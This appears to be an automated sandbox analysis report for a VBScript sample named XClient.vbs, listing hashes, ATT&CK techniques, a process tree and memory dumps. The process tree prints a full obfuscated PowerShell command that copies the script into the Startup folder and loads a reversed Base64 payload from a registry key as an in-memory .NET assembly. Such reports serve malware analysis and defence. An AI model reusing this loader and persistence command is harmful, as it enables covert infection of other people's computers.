79ba69baace5e2b30cdc18e8ab462692e3337640f52f532743ffb2a52c281694

Analysis

max time kernel
121s
max time network
124s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
25/06/2024, 18:06

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General

Target

XClient.vbs
Size

51KB
MD5

b2d3d950c164eac3905adf7449bbc102
SHA1

bfa01bfaa12aefce0bc8f7468ce788d78623c56d
SHA256

79ba69baace5e2b30cdc18e8ab462692e3337640f52f532743ffb2a52c281694
SHA512

6032364e7b7e107f0813eee20304ec31e65747b10174fba9d703d20c010c8785df515a0789f8e813484ae7d09e972100b2dd08df46dcb0844e9911feddadab74
SSDEEP

1536:daxTfSWi9SkelLyAPh0voJKfI2rygScsddWZrv+Va:0xTfk9reVUvWII2oJdWZT+Va

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3004	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3004	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3004	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2084 wrote to memory of 3004	2084	WScript.exe	28
PID 2084 wrote to memory of 3004	2084	WScript.exe	28
PID 2084 wrote to memory of 3004	2084	WScript.exe	28

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\XClient.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -Command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\XClient.vbs' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows backup.vbs'; $possessiveness = ((Get-ItemProperty HKCU:\Software\Chrome\).Updates); $possessiveness = -join $possessiveness[-1..-$possessiveness.Length];[<##>AppDomain<##>]::<##>('merelsurrentDomain'.replace('merels','C'))<##>.<##>('liquationoad'.replace('liquation','L'))([Convert]::FromBase64String($possessiveness))<##>.<##>('microzoarianntryPoint'.replace('microzoarian','E'))<##>.<##>('Inconfrontmentoke'.replace('confrontment','v'))($Null,$Null)<##>;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3004

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3004-4-0x000007FEF5F9E000-0x000007FEF5F9F000-memory.dmp

Filesize
4KB

Download
memory/3004-5-0x000000001B880000-0x000000001BB62000-memory.dmp

Filesize
2.9MB

Download
memory/3004-6-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download
memory/3004-7-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

Filesize
9.6MB

Download
memory/3004-8-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

Filesize
9.6MB

Download
memory/3004-9-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

Filesize
9.6MB

Download